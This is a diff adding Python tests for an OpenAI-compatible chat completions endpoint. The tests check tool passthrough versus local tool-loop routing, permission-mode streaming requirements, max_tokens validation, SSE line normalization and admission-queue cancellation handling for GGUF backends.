+                raise AssertionError("client tools must use passthrough")
+
+            def generate_chat_completion_with_tools(self, **_kwargs):
+                raise AssertionError("Studio tool loop must stay disabled")
+
+        async def fake_passthrough(llama_backend, payload, model_name, **kwargs):
+            inference_route.api_monitor.finish(kwargs.get("monitor_id"))
+            return inference_route.JSONResponse({"ok": True, "model": model_name})
+
+        client_tools = [
+            {
+                "type": "function",
+                "function": {"name": "lookup", "parameters": {"type": "object"}},
+            }
+        ]
+
+        def _setup(policy = None):
+            reset_tool_policy()
+            if policy is not None:
+                set_tool_policy(policy)
+            monkeypatch.setattr(inference_route, "_automatic_model_load_may_run", lambda: True)
+            monkeypatch.setattr(inference_route, "api_monitor", ApiMonitor(max_entries = 3))
+            monkeypatch.setattr(
+                inference_route, "_openai_passthrough_non_streaming", fake_passthrough
+            )
+            return self._v1_client(monkeypatch, _GGUFBackend())
+
+        # A process --enable-tools policy must not turn a client-tool passthrough
+        # into a Studio local loop, so a policy of None or True both keep the
+        # passthrough (the guard mirrors _explicit_studio_tool_loop_requested).
+        for policy in (None, True):
+            for mode in ("ask", "auto"):
+                client = _setup(policy)
+                resp = client.post(
+                    "/v1/chat/completions",
+                    json = {
+                        "messages": [{"role": "user", "content": "use client tool"}],
+                        "tools": client_tools,
+                        "permission_mode": mode,
+                        "stream": False,
+                    },
+                )
+                assert resp.status_code == 200, resp.text
+                assert resp.json()["ok"] is True
+
+        # A JSON-schema response_format is guided-decoding passthrough, not a local
+        # tool loop, so a --enable-tools policy must not 400 a non-streaming ask/auto
+        # structured-output request under the confirm guard.
+        for mode in ("ask", "auto"):
+            client = _setup(True)
+            resp = client.post(
+                "/v1/chat/completions",
+                json = {
+                    "messages": [{"role": "user", "content": "give me json"}],
+                    "response_format": {
+                        "type": "json_schema",
+                        "json_schema": {"name": "s", "schema": {"type": "object"}},
+                    },
+                    "permission_mode": mode,
+                    "stream": False,
+                },
+            )
+            assert resp.status_code == 200, resp.text
+            assert resp.json()["ok"] is True
+
+        # An explicit confirm_tool_calls=True with client tools and no stream is
+        # still a confirm-without-stream request and must be rejected up front.
+        client = _setup()
+        resp = client.post(
+            "/v1/chat/completions",
+            json = {
+                "messages": [{"role": "user", "content": "use client tool"}],
+                "tools": client_tools,
+                "confirm_tool_calls": True,
+                "stream": False,
+            },
+        )
+        assert resp.status_code == 400
+        assert "requires stream=true" in resp.json()["error"]["message"]
+
+    def test_permission_mode_policy_forced_local_loop_rejected_before_switch(self, monkeypatch):
+        # A process --enable-tools policy forces Studio's own tool loop on even
+        # when the request omits enable_tools and carries no client tools. A
+        # non-streaming ask/auto request is then confirm-gated with no stream to
+        # prompt on, so it must 400 at the pre-switch guard -- before
+        # _maybe_auto_switch_model runs -- rather than evicting the resident model
+        # and 400ing only at the per-backend check.
+        import routes.inference as inference_route
+
+        class _GGUFBackend:
+            is_loaded = True
+            model_identifier = "test-gguf"
+            supports_tools = True
+            supports_tool_passthrough = True
+            is_vision = False
+            _is_audio = False
+            context_length = 4096
+            base_url = "http://llama.policy-forced.test"
+            _request_reasoning_kwargs = lambda *_args, **_kwargs: None
+
+        switch_calls = []
+
+        async def _no_switch(*_args, **_kwargs):
+            switch_calls.append(1)
+
+        def _setup():
+            reset_tool_policy()
+            set_tool_policy(True)
+            monkeypatch.setattr(inference_route, "_automatic_model_load_may_run", lambda: True)
+            monkeypatch.setattr(inference_route, "api_monitor", ApiMonitor(max_entries = 3))
+            monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _no_switch)
+            return self._v1_client(monkeypatch, _GGUFBackend())
+
+        try:
+            for mode in ("ask", "auto"):
+                switch_calls.clear()
+                client = _setup()
+                resp = client.post(
+                    "/v1/chat/completions",
+                    json = {
+                        "messages": [{"role": "user", "content": "hi"}],
+                        "permission_mode": mode,
+                        "stream": False,
+                    },
+                )
+                assert resp.status_code == 400, resp.text
+                assert "requires stream=true" in resp.json()["error"]["message"]
+                assert switch_calls == [], "guard must reject before the auto-switch"
+        finally:
+            reset_tool_policy()
+
+    def test_enable_tools_on_non_tool_backend_keeps_client_tools_on_passthrough(self, monkeypatch):
+        # DiffusionGemma forces supports_tools off while passthrough stays
+        # available (#6851): enable_tools=True must not steal client tools
+        # from the passthrough into a Studio tool loop that cannot run.
+        import routes.inference as inference_route
+
+        captured = {}
+
+        class _GGUFBackend:
+            is_loaded = True
+            model_identifier = "test-gguf"
+            supports_tools = False
+            supports_tool_passthrough = True
+            is_vision = False
+            _is_audio = False
+            context_length = 4096
+            base_url = "http://llama.passthrough-capability.test"
+            _request_reasoning_kwargs = lambda *_args, **_kwargs: None
+
+            def generate_chat_completion(self, **_kwargs):
+                raise AssertionError("client tools must use passthrough")
+
+            def generate_chat_completion_with_tools(self, **_kwargs):
+                raise AssertionError("Studio tool loop cannot run on a non-tool backend")
+
+        async def fake_passthrough(llama_backend, payload, model_name, **kwargs):
+            captured["body"] = inference_route._build_openai_passthrough_body(
+                payload,
+                backend_ctx = llama_backend.context_length,
+                llama_backend = llama_backend,
+            )
+            inference_route.api_monitor.finish(kwargs.get("monitor_id"))
+            return inference_route.JSONResponse({"ok": True, "model": model_name})
+
+        monitor = ApiMonitor(max_entries = 3)
+        monkeypatch.setattr(inference_route, "api_monitor", monitor)
+        monkeypatch.setattr(
+            inference_route,
+            "_openai_passthrough_non_streaming",
+            fake_passthrough,
+        )
+        client = self._v1_client(monkeypatch, _GGUFBackend())
+        resp = client.post(
+            "/v1/chat/completions",
+            json = {
+                "messages": [{"role": "user", "content": "use client tool"}],
+                "enable_tools": True,
+                "tools": [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object"},
+                        },
+                    }
+                ],
+            },
+        )
+
+        assert resp.status_code == 200
+        assert resp.json()["ok"] is True
+        assert captured["body"]["tools"][0]["function"]["name"] == "lookup"
+        [entry] = monitor.snapshot()
+        assert entry["status"] == "completed"
+        assert monitor.active_count() == 0
+
+    def test_tool_choice_none_allows_tool_catalog_without_tool_template(self, monkeypatch):
+        import routes.inference as inference_route
+
+        class _GGUFBackend:
+            is_loaded = True
+            model_identifier = "test-gguf"
+            supports_tools = False
+            is_vision = False
+            _is_audio = False
+            context_length = 4096
+
+            def generate_chat_completion(self, **kwargs):
+                assert kwargs["max_tokens"] is None
+                yield "plain response"
+
+        monitor = ApiMonitor(max_entries = 3)
+        monkeypatch.setattr(inference_route, "api_monitor", monitor)
+        client = self._v1_client(monkeypatch, _GGUFBackend())
+        resp = client.post(
+            "/v1/chat/completions",
+            json = {
+                "messages": [{"role": "user", "content": "hi"}],
+                "tools": [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object"},
+                        },
+                    }
+                ],
+                "tool_choice": "none",
+            },
+        )
+
+        assert resp.status_code == 200
+        assert resp.json()["choices"][0]["message"]["content"] == "plain response"
+        [entry] = monitor.snapshot()
+        assert entry["status"] == "completed"
+        assert entry["reply"] == "plain response"
+        assert monitor.active_count() == 0
+
+    def test_tool_call_history_rejected_when_gguf_template_has_no_tool_support(self, monkeypatch):
+        import routes.inference as inference_route
+
+        class _GGUFBackend:
+            is_loaded = True
+            model_identifier = "test-gguf"
+            supports_tools = False
+            is_vision = False
+            _is_audio = False
+            context_length = 4096
+
+            def generate_chat_completion(self, **_kwargs):
+                raise AssertionError(
+                    "tool-call history must not fall through to the standard GGUF path"
+                )
+
+        monitor = ApiMonitor(max_entries = 3)
+        monkeypatch.setattr(inference_route, "api_monitor", monitor)
+        client = self._v1_client(monkeypatch, _GGUFBackend())
+        resp = client.post(
+            "/v1/chat/completions",
+            json = {
+                "messages": [
+                    {"role": "user", "content": "use a tool"},
+                    {
+                        "role": "assistant",
+                        "content": None,
+                        "tool_calls": [
+                            {
+                                "id": "call_1",
+                                "type": "function",
+                                "function": {"name": "lookup", "arguments": "{}"},
+                            }
+                        ],
+                    },
+                    {"role": "tool", "tool_call_id": "call_1", "content": "{}"},
+                ],
+            },
+        )
+
+        self._assert_unsupported_param(resp, "messages")
+        assert "does not advertise tools" in resp.json()["error"]["message"]
+        [entry] = monitor.snapshot()
+        assert entry["status"] == "error"
+        assert "does not advertise tools" in entry["error"]
+        assert monitor.active_count() == 0
+
     def test_n_rejected_for_non_gguf_path(self, monkeypatch):
         class _NoGGUFBackend:
             is_loaded = False
@@ -560,7 +1054,7 @@ class TestChatCompletionRequestToolFields:
         monkeypatch.setattr(
             inference_route,
             "_detect_safetensors_features",
-            lambda backend, chat_template: {"supports_tools": True},
+            lambda backend, chat_template, tools = None: {"supports_tools": True},
         )
         monitor = ApiMonitor(max_entries = 3)
         monkeypatch.setattr(inference_route, "api_monitor", monitor)
@@ -721,11 +1215,32 @@ class TestBuildPassthroughPayloadToolChoice:
         )
         assert body.get("stream_options") == {"include_usage": False}
 
+    def test_response_format_without_tools_omits_tool_fields(self):
+        args = self._args()
+        args["openai_tools"] = None
+
+        body = _build_passthrough_payload(
+            **args,
+            response_format = {"type": "json_object"},
+        )
+
+        assert body["response_format"] == {"type": "json_object"}
+        assert "tools" not in body
+        assert "tool_choice" not in body
+
     def test_repetition_penalty_renamed(self):
         body = _build_passthrough_payload(**self._args(), repetition_penalty = 1.1)
         assert body.get("repeat_penalty") == 1.1
         assert "repetition_penalty" not in body
 
+    def test_omitted_passthrough_max_tokens_uses_backend_context(self):
+        args = self._args()
+        args["max_tokens"] = None
+
+        body = _build_passthrough_payload(**args, backend_ctx = 4096)
+
+        assert body["max_tokens"] == 4096
+
     def test_passthrough_body_merges_system_and_developer_messages(self):
         payload = ChatCompletionRequest(
             model = "default",
@@ -745,6 +1260,74 @@ class TestBuildPassthroughPayloadToolChoice:
         ]
 
 
+class TestOpenAIPassthroughSSETerminalState:
+    def test_done_sentinel(self):
+        assert _openai_passthrough_sse_line_terminal_state("data: [DONE]") == "done"
+
+    def test_finish_reason_with_space(self):
+        line = 'data: {"choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}'
+        assert _openai_passthrough_sse_line_terminal_state(line) == "finish"
+
+    def test_finish_reason_without_space(self):
+        line = 'data:{"choices":[{"index":0,"delta":{},"finish_reason":"tool_calls"}]}'
+        assert _openai_passthrough_sse_line_terminal_state(line) == "finish"
+
+    def test_usage_chunk(self):
+        line = 'data: {"choices":[],"usage":{"prompt_tokens":1,"completion_tokens":2}}'
+        assert _openai_passthrough_sse_line_terminal_state(line) == "usage"
+
+    def test_error_chunk(self):
+        line = 'data: {"error":{"message":"boom"}}'
+        assert _openai_passthrough_sse_line_terminal_state(line) == "error"
+
+    def test_cap_parallel_tool_calls_accepts_no_space_after_data_colon(self):
+        line = (
+            'data:{"choices":[{"delta":{"tool_calls":['
+            '{"index":0,"function":{"name":"a"}},'
+            '{"index":1,"function":{"name":"b"}}]}}]}'
+        )
+
+        capped = _normalize_openai_passthrough_sse_line(line, cap_parallel_tool_calls = True)
+
+        data = json.loads(capped[len("data:") :].lstrip())
+        assert data["choices"][0]["delta"]["tool_calls"] == [
+            {"index": 0, "function": {"name": "a"}}
+        ]
+
+    def test_plain_content_line_is_returned_identically(self):
+        # The relay dispatches terminal classification on `out_line is raw_line`,
+        # so the no-mutation path must return the identical string object.
+        line = 'data: {"choices":[{"index":0,"delta":{"content":"hello"},"finish_reason":null}]}'
+        assert _normalize_openai_passthrough_sse_line(line) is line
+        assert _normalize_openai_passthrough_sse_line(line, cap_parallel_tool_calls = True) is line
+
+    def test_reasoning_key_inside_content_text_keeps_line_identical(self):
+        # Fast-path substring gate fires, but the parse finds nothing to change:
+        # the original object must come back so the relay stays byte-identical.
+        line = (
+            'data: {"choices":[{"index":0,"delta":{"content":'
+            '"mentions \\"reasoning_content\\" in text"},"finish_reason":null}]}'
+        )
+        assert _normalize_openai_passthrough_sse_line(line) is line
+
+    def test_reasoning_only_delta_gets_empty_content(self):
+        line = (
+            'data: {"choices":[{"index":0,'
+            '"delta":{"reasoning_content":"thinking"},'
+            '"finish_reason":null}]}'
+        )
+
+        normalized = _normalize_openai_passthrough_sse_line(line)
+
+        data = json.loads(normalized[len("data:") :].lstrip())
+        delta = data["choices"][0]["delta"]
+        assert delta["reasoning_content"] == "thinking"
+        assert delta["content"] == ""
+
+    def test_reasoning_normalization_preserves_done_sentinel(self):
+        assert _normalize_openai_passthrough_sse_line("data: [DONE]") == "data: [DONE]"
+
+
 # =====================================================================
 # Passthrough reasoning kwargs — enable_thinking / reasoning_effort /
 # preserve_thinking must reach llama-server via chat_template_kwargs,
@@ -865,6 +1448,172 @@ class TestOpenAICompatibilityHelpers:
         payload = SimpleNamespace(max_tokens = 128, max_completion_tokens = 64)
         assert _effective_max_tokens(payload) == 64
 
+    def test_openai_compat_max_tokens_returns_none_when_omitted(self):
+        payload = SimpleNamespace(max_tokens = None, max_completion_tokens = None)
+        assert _effective_openai_max_tokens(payload) is None
+
+    @pytest.mark.parametrize(
+        ("payload", "expected"),
+        [
+            (SimpleNamespace(max_tokens = 8192, max_completion_tokens = None), 8192),
+            (SimpleNamespace(max_tokens = 8192, max_completion_tokens = 256), 256),
+        ],
+    )
+    def test_openai_compat_explicit_values_pass_through(self, payload, expected):
+        assert _effective_openai_max_tokens(payload) == expected
+
+    @pytest.mark.parametrize(
+        ("payload", "param"),
+        [
+            (SimpleNamespace(max_tokens = "128", max_completion_tokens = None), "max_tokens"),
+            (SimpleNamespace(max_tokens = True, max_completion_tokens = None), "max_tokens"),
+            (SimpleNamespace(max_tokens = 12.5, max_completion_tokens = None), "max_tokens"),
+            (
+                SimpleNamespace(max_tokens = None, max_completion_tokens = "128"),
+                "max_completion_tokens",
+            ),
+        ],
+    )
+    def test_openai_compat_max_tokens_rejects_non_integer_explicit_values(self, payload, param):
+        with pytest.raises(HTTPException) as exc:
+            _effective_openai_max_tokens(payload)
+
+        assert exc.value.status_code == 400
+        assert exc.value.detail["error"]["param"] == param
+        assert exc.value.detail["error"]["code"] == "invalid_type"
+
+    def test_openai_compat_max_tokens_zero_is_valid_and_negative_rejected(self):
+        # Legacy completions spec: max_tokens has minimum 0, so 0 must pass
+        # through; only negatives are invalid_value.
+        assert _effective_openai_max_tokens_from_values(0) == 0
+
+        with pytest.raises(HTTPException) as exc:
+            _effective_openai_max_tokens_from_values(-1)
+
+        assert exc.value.status_code == 400
+        assert exc.value.detail["error"]["code"] == "invalid_value"
+        assert exc.value.detail["error"]["param"] == "max_tokens"
+
+    def test_chat_reasoning_chunk_carries_empty_content(self):
+        from routes.inference import _chat_reasoning_chunk
+
+        line = _chat_reasoning_chunk("chatcmpl-test", 123, "gguf", "thinking...")
+        chunk = json.loads(line[len("data: ") :])
+        delta = chunk["choices"][0]["delta"]
+
+        assert delta["reasoning_content"] == "thinking..."
+        assert delta["content"] == ""
+
+    def test_passthrough_upstream_headers_include_backend_auth(self):
+        headers = _openai_passthrough_upstream_headers(
+            llama_backend = SimpleNamespace(_auth_headers = {"Authorization": "Bearer secret"}),
+        )
+
+        assert headers["Authorization"] == "Bearer secret"
+        assert headers["Connection"] == "close"
+
+    def test_openai_admission_capacity_prefers_backend_effective_slots(self):
+        request = SimpleNamespace(
+            app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 1))
+        )
+        backend = SimpleNamespace(effective_parallel_slots = 3)
+
+        assert _openai_llama_admission_capacity(request, backend) == 3
+
+    @pytest.mark.parametrize("backend_value", [None, 0, -1, "not-an-int"])
+    def test_openai_admission_capacity_falls_back_to_app_state(self, backend_value):
+        request = SimpleNamespace(
+            app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 2))
+        )
+        backend = SimpleNamespace(effective_parallel_slots = backend_value)
+
+        assert _openai_llama_admission_capacity(request, backend) == 2
+
+    def test_openai_admission_capacity_falls_back_to_one_without_request(self):
+        assert _openai_llama_admission_capacity(None, SimpleNamespace()) == 1
+
+    def test_openai_admission_non_streaming_exits_invalidated_waiter(self):
+        async def _run():
+            queue = get_llama_admission_queue("http://llama.invalidated.test")
+            blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait()
+            assert blocker is not None
+            reservation = queue.reserve(capacity = 1, config = LlamaAdmissionConfig())
+            assert reservation._waiter is not None
+
+            reservation._waiter.future.cancel()
+
+            with pytest.raises(LlamaAdmissionCancelled):
+                await asyncio.wait_for(
+                    _wait_for_openai_admission_non_streaming(
+                        reservation,
+                        LlamaAdmissionConfig(),
+                        request = None,
+                        cancel_event = None,
+                    ),
+                    timeout = 0.1,
+                )
+
+            blocker.release()
+            snapshot = queue.snapshot()
+            assert snapshot.active == 0
+            assert snapshot.queued == 0
+
+        asyncio.run(_run())
+
+    def test_openai_admission_stream_exits_invalidated_waiter(self):
+        async def _run():
+            queue = get_llama_admission_queue("http://llama.invalidated.stream.test")
+            blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait()
+            assert blocker is not None
+            reservation = queue.reserve(capacity = 1, config = LlamaAdmissionConfig())
+            assert reservation._waiter is not None
+
+            reservation._waiter.future.cancel()
+
+            chunks = _openai_admission_wait_stream_chunks(
+                reservation,
+                LlamaAdmissionConfig(),
+                request = None,
+                cancel_event = None,
+            )
+            with pytest.raises(LlamaAdmissionCancelled):
+                await asyncio.wait_for(chunks.__anext__(), timeout = 0.1)
+
+            blocker.release()
+            snapshot = queue.snapshot()
+            assert snapshot.active == 0
+            assert snapshot.queued == 0
+
+        asyncio.run(_run())
+
+    def test_openai_compat_stream_stall_timeout_uses_default(self, monkeypatch):
+        monkeypatch.delenv(_OPENAI_COMPAT_STREAM_STALL_TIMEOUT_ENV, raising = False)
+        assert _openai_compat_stream_stall_timeout() == 120.0
+
+    def test_openai_compat_stream_stall_timeout_uses_env_override(self, monkeypatch):
+        monkeypatch.setenv(_OPENAI_COMPAT_STREAM_STALL_TIMEOUT_ENV, "4.5")
+        assert _openai_compat_stream_stall_timeout() == 4.5
+
+    @pytest.mark.parametrize("raw_value", ["", "not-a-float"])
+    def test_openai_compat_stream_stall_timeout_invalid_env_uses_default(
+        self, monkeypatch, raw_value
+    ):
+        monkeypatch.setenv(_OPENAI_COMPAT_STREAM_STALL_TIMEOUT_ENV, raw_value)
+        assert _openai_compat_stream_stall_timeout() == 120.0
+
+    @pytest.mark.parametrize("raw_value", ["0", "-1"])
+    def test_openai_compat_stream_stall_timeout_non_positive_env_disables(
+        self, monkeypatch, raw_value
+    ):
+        monkeypatch.setenv(_OPENAI_COMPAT_STREAM_STALL_TIMEOUT_ENV, raw_value)
+        assert _openai_compat_stream_stall_timeout() is None
+
+    def test_openai_stream_error_sse_closes_with_done(self):
+        error = {"error": {"message": "boom"}}
+        assert _openai_stream_error_sse(error) == (
+            'data: {"error": {"message": "boom"}}\n\n' "data: [DONE]\n\n"
+        )
+
     @pytest.mark.parametrize(
         "finish_reason",
         ["stop", "length", "tool_calls", "content_filter", "function_call"],
@@ -1488,9 +2237,659 @@ class TestGgufVisionToolRouting:
         assert "".join(d.get("reasoning_content", "") for d in deltas) == "plan"
         assert "".join(d.get("content", "") for d in deltas) == "visible"
         assert all("<think>" not in d.get("content", "") for d in deltas)
+        assert all("content" in d for d in deltas if "reasoning_content" in d)
         [entry] = result.monitor.snapshot()
         assert entry["reply"] == "visible"
 
+    def test_standard_gguf_stream_queued_request_sends_keepalive_before_generation(
+        self, monkeypatch
+    ):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request(self._Request):
+                app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 1))
+
+            def _generate(**_kwargs):
+                raise AssertionError("standard GGUF generation must not start while queued")
+
+            backend = SimpleNamespace(
+                is_loaded = True,
+                is_vision = False,
+                supports_tools = False,
+                supports_reasoning = True,
+                reasoning_always_on = True,
+                _is_audio = False,
+                model_identifier = "test-gguf",
+                context_length = 4096,
+                base_url = "http://llama.standard.test",
+                effective_parallel_slots = 1,
+                generate_chat_completion = _generate,
+            )
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setenv(ADMISSION_KEEPALIVE_INTERVAL_ENV, "0.01")
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+
+            queue = get_llama_admission_queue("http://llama.standard.test")
+            blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait()
+            assert blocker is not None
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [{"role": "user", "content": "hi"}],
+                stream = True,
+            )
+            response = await openai_chat_completions(
+                payload,
+                request = Request(),
+                current_subject = "test",
+            )
+            iterator = response.body_iterator
+            try:
+                chunk = await asyncio.wait_for(iterator.__anext__(), timeout = 0.2)
+                assert chunk == ": keep-alive\n\n"
+                snapshot = queue.snapshot()
+                assert snapshot.active == 1
+                assert snapshot.queued == 1
+            finally:
+                aclose = getattr(iterator, "aclose", None)
+                if aclose is not None:
+                    await aclose()
+                blocker.release()
+
+            snapshot = queue.snapshot()
+            assert snapshot.active == 0
+            assert snapshot.queued == 0
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_standard_gguf_stream_close_after_first_chunk_cleans_tracker(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            cancel_id = "standard-stream-close-cleanup"
+
+            def _generate(**_kwargs):
+                yield "visible"
+
+            backend = SimpleNamespace(
+                is_loaded = True,
+                is_vision = False,
+                supports_tools = False,
+                supports_reasoning = True,
+                reasoning_always_on = True,
+                _is_audio = False,
+                model_identifier = "test-gguf",
+                context_length = 4096,
+                base_url = "http://llama.standard.test",
+                effective_parallel_slots = 1,
+                generate_chat_completion = _generate,
+            )
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [{"role": "user", "content": "hi"}],
+                stream = True,
+                cancel_id = cancel_id,
+            )
+            response = await openai_chat_completions(
+                payload,
+                request = self._Request(),
+                current_subject = "test",
+            )
+            iterator = response.body_iterator
+            assert cancel_id in inf_mod._CANCEL_REGISTRY
+            await asyncio.wait_for(iterator.__anext__(), timeout = 0.2)
+            aclose = getattr(iterator, "aclose", None)
+            assert aclose is not None
+            await aclose()
+
+            assert cancel_id not in inf_mod._CANCEL_REGISTRY
+            assert get_llama_admission_queue("http://llama.standard.test").snapshot().active == 0
+
+        asyncio.run(_run())
+
+    def test_standard_gguf_stream_task_cancel_after_first_chunk_finalizes_monitor(
+        self, monkeypatch
+    ):
+        async def _run():
+            import routes.inference as inf_mod
+
+            started = threading.Event()
+            released = threading.Event()
+
+            def _generate(**kwargs):
+                cancel_event = kwargs["cancel_event"]
+                started.set()
+                while not cancel_event.is_set():
+                    time.sleep(0.005)
+                released.set()
+                yield from ()
+
+            backend = SimpleNamespace(
+                is_loaded = True,
+                is_vision = False,
+                supports_tools = False,
+                supports_reasoning = True,
+                reasoning_always_on = True,
+                _is_audio = False,
+                model_identifier = "test-gguf",
+                context_length = 4096,
+                base_url = "http://llama.standard.test",
+                effective_parallel_slots = 1,
+                generate_chat_completion = _generate,
+            )
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [{"role": "user", "content": "hi"}],
+                stream = True,
+            )
+            response = await openai_chat_completions(
+                payload,
+                request = self._Request(),
+                current_subject = "test",
+            )
+            iterator = response.body_iterator
+            assert await asyncio.wait_for(iterator.__anext__(), timeout = 0.2)
+            pending = asyncio.create_task(iterator.__anext__())
+            assert await asyncio.to_thread(started.wait, 1.0)
+
+            await asyncio.sleep(0)
+            pending.cancel()
+            with pytest.raises(asyncio.CancelledError):
+                await asyncio.wait_for(pending, timeout = 1.0)
+
+            assert released.is_set()
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+            assert get_llama_admission_queue("http://llama.standard.test").snapshot().active == 0
+
+        asyncio.run(_run())
+
+    def test_gguf_tool_stream_queued_request_sends_keepalive_before_generation(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request(self._Request):
+                app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 1))
+
+            async def fake_select_tools(*_args, **_kwargs):
+                return [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object", "properties": {}},
+                        },
+                    }
+                ]
+
+            def _generate(**_kwargs):
+                raise AssertionError("GGUF tool loop must not start while queued")
+
+            backend = SimpleNamespace(
+                is_loaded = True,
+                is_vision = False,
+                supports_tools = True,
+                supports_reasoning = True,
+                reasoning_always_on = True,
+                _is_audio = False,
+                model_identifier = "test-gguf",
+                context_length = 4096,
+                base_url = "http://llama.tool.test",
+                effective_parallel_slots = 1,
+                generate_chat_completion = lambda **_kwargs: "unused",
+                generate_chat_completion_with_tools = _generate,
+            )
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setenv(ADMISSION_KEEPALIVE_INTERVAL_ENV, "0.01")
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+            monkeypatch.setattr(inf_mod, "_select_request_tools", fake_select_tools)
+
+            queue = get_llama_admission_queue("http://llama.tool.test")
+            blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait()
+            assert blocker is not None
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [{"role": "user", "content": "hi"}],
+                enable_tools = True,
+                stream = True,
+            )
+            response = await openai_chat_completions(
+                payload,
+                request = Request(),
+                current_subject = "test",
+            )
+            iterator = response.body_iterator
+            try:
+                chunk = await asyncio.wait_for(iterator.__anext__(), timeout = 0.2)
+                assert chunk == ": keep-alive\n\n"
+                snapshot = queue.snapshot()
+                assert snapshot.active == 1
+                assert snapshot.queued == 1
+            finally:
+                aclose = getattr(iterator, "aclose", None)
+                if aclose is not None:
+                    await aclose()
+                blocker.release()
+
+            snapshot = queue.snapshot()
+            assert snapshot.active == 0
+            assert snapshot.queued == 0
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_gguf_tool_stream_task_cancel_after_first_chunk_finalizes_monitor(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            async def fake_select_tools(*_args, **_kwargs):
+                return [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object", "properties": {}},
+                        },
+                    }
+                ]
+
+            started = threading.Event()
+            released = threading.Event()
+
+            def _tools(**kwargs):
+                cancel_event = kwargs["cancel_event"]
+                started.set()
+                while not cancel_event.is_set():
+                    time.sleep(0.005)
+                released.set()
+                yield from ()
+
+            backend = SimpleNamespace(
+                is_loaded = True,
+                is_vision = False,
+                supports_tools = True,
+                supports_reasoning = True,
+                reasoning_always_on = True,
+                _is_audio = False,
+                model_identifier = "test-gguf",
+                context_length = 4096,
+                base_url = "http://llama.tool.test",
+                effective_parallel_slots = 1,
+                generate_chat_completion = lambda **_kwargs: "unused",
+                generate_chat_completion_with_tools = _tools,
+            )
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+            monkeypatch.setattr(inf_mod, "_select_request_tools", fake_select_tools)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [{"role": "user", "content": "hi"}],
+                enable_tools = True,
+                stream = True,
+            )
+            response = await openai_chat_completions(
+                payload,
+                request = self._Request(),
+                current_subject = "test",
+            )
+            iterator = response.body_iterator
+            assert await asyncio.wait_for(iterator.__anext__(), timeout = 0.2)
+            pending = asyncio.create_task(iterator.__anext__())
+            assert await asyncio.to_thread(started.wait, 1.0)
+
+            await asyncio.sleep(0)
+            pending.cancel()
+            with pytest.raises(asyncio.CancelledError):
+                await asyncio.wait_for(pending, timeout = 1.0)
+
+            assert released.is_set()
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+            assert get_llama_admission_queue("http://llama.tool.test").snapshot().active == 0
+
+        asyncio.run(_run())
+
+    def test_global_enable_tools_does_not_preempt_response_format_passthrough(self, monkeypatch):
+        import routes.inference as inf_mod
+
+        reset_tool_policy()
+        set_tool_policy(True)
+        captured = {}
+
+        def _plain(**_kwargs):
+            raise AssertionError("plain GGUF path should not be used")
+
+        def _tools(**_kwargs):
+            raise AssertionError("Studio tool loop should not steal response_format")
+
+        backend = SimpleNamespace(
+            is_loaded = True,
+            is_vision = False,
+            supports_tools = True,
+            _is_audio = False,
+            model_identifier = "test-gguf",
+            context_length = 4096,
+            base_url = "http://llama.policy.test",
+            _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+            generate_chat_completion = _plain,
+            generate_chat_completion_with_tools = _tools,
+        )
+
+        async def fake_passthrough(llama_backend, payload, model_name, **_kwargs):
+            captured["body"] = inf_mod._build_openai_passthrough_body(
+                payload,
+                backend_ctx = llama_backend.context_length,
+                llama_backend = llama_backend,
+            )
+            return inf_mod.JSONResponse({"ok": True, "model": model_name})
+
+        try:
+            monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+            monkeypatch.setattr(
+                inf_mod,
+                "_openai_passthrough_non_streaming",
+                fake_passthrough,
+            )
+            monitor = ApiMonitor(max_entries = 3)
